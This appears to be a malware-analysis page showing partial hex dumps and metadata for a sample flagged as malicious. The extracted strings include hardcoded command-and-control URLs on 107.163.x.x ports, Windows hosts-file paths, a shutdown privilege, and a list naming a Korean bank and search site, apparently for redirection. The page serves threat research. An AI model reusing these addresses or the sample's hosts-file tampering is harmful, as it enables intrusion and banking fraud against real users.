0x14a5f	005f0000007469746c650000004d6f7a	._...title...Moz
0x14a6f	696c6c612f342e302028636f6d706174	illa/4.0 (compat
0x14a7f	69626c653b204d53494520382e303b20	ible; MSIE 8.0;
0x14a8f	57696e646f7773204e5420362e302900	Windows NT 6.0).
0x14a9f	006148523063446f764c324a73623263	.aHR0cDovL2Jsb2c
0x14aaf	7563326c755953356a62323075593234	uc2luYS5jb20uY24
0x14abf	766453386c63773d3d00000000584752	vdS8lcw==....XGR
0x14acf	7961585a6c636e4e635a58526a584768	yaXZlcnNcZXRjXGh
0x14adf	766333527a4c6d6c6a63773d3d000000	vc3RzLmljcw==...
0x14aef	005847527961585a6c636e4e635a5852	.XGRyaXZlcnNcZXR
0x14aff	6a584768766333527a00000000536553	jXGhvc3Rz....SeS
0x14b0f	687574646f776e50726976696c656765	hutdownPrivilege
0x14b1f	0027f471f3fbbc82ca5773e2b035e1b8	.'.q.....Ws..5..
0x14b2f	00353736323437393039330000307835	.5762479093..0x5
0x14b3f	64363572343535660044697370000000	d65r455f.Disp...
0x14b4f	00257320222573222c44697370617463	.%s "%s",Dispatc

20 of 37 traits shown

Identity

SHA-256	6e9f4165cb5146a5189e4a2c09cd6fa18669f7e2eacbef7f58dd4b637c4ec5d0
Filename	virussign.com_8630fa01db6ef6d2fcaf00a32656a830.vir
Package	6e9f4165cb5146a5189e4a2c09cd6fa18669f7e2eacbef7f58dd4b637c4ec5d0

Origin

Source	harvest
Feed	virussign
Domain	virussign.com

Timeline

First seen	8 Aug 2026 14:42 UTC
First analyzed	10 Aug 2026 08:08 UTC
Last analyzed	10 Aug 2026 08:08 UTC
Last updated	10 Aug 2026 08:08 UTC

Labeling

Label	bad
Label source	harvest
Traits version	46d16

Not seeing what you expected? Let us know

0x3c0	00000000000000000000000000000000	................
0x3d0	00000000000000000000000000000000	................
0x3e0	00000000000000000000000000000000	................
0x3f0	00000000000000000000000000000000	................
0x400	558bec81ec0c04000083a5f8fcffff00	U...............
0x410	5356beff0000005789b5f4fbffff89b5	SV.....W........
0x420	f8fbffff89b5fcfbffff89b500fcffff	................
0x430	89b504fcffff89b508fcffff89b50cfc	................
0x440	ffff89b510fcffff89b514fcffff89b5	................
0x450	18fcffff89b51cfcffff89b520fcffff	............ ...
0x460	89b524fcffff89b528fcffff89b52cfc	..$.....(.....,.
0x470	ffff89b530fcffff89b534fcffff89b5	....0.....4.....
0x480	38fcffff89b53cfcffff89b540fcffff	8.....<.....@...
0x490	89b544fcffff89b548fcffff89b54cfc	..D.....H.....L.
0x4a0	ffff89b550fcffff89b554fcffff89	....P.....T....

0x11928	00000000000000000000000000000000	................
0x11938	00000000000000000000000000000000	................
0x11948	00000000000000000000000000000000	................
0x11958	00000000000000000000000000000000	................
0x11968	00000000000000000000000000000000	................
0x11978	00000000000000000000000000000000	................
0x11988	687474703a2f2f3130372e3136332e35	http://107.163.5URL pinned to external IPv4 port
0x11998	362e3233323a31383936332f6d61696e	6.232:18963/main
0x119a8	2e706870000000000000000000000000	.php............
0x119b8	00000000000000000000000000000000	................
0x119c8	00000000000000000000000000000000	................
0x119d8	00000000000000000000000000000000	................
0x119e8	00000000000000000000000000000000	................
0x119f8	00000000000000000000000000000000	................
0x11a08	687474703a2f2f3130372e3136332e35	http://107.163.5
0x11a18	362e3233313a31383533302f00000000	6.231:18530/....
0x11a28	00000000000000000000000000000000	................
0x11a38	00000000000000000000000000000000	................
0x11a48	00000000000000000000000000000000	................
0x11a58	00000000000000000000000000000000	................
0x11a68	00000000000000000000000000000000	................
0x11a78	00000000000000000000000000000000	................
0x11a88	7777772e7368696e68616e2e636f6d7c	www.shinhan.com\|
0x11a98	7365617263682e6461756d	search.daum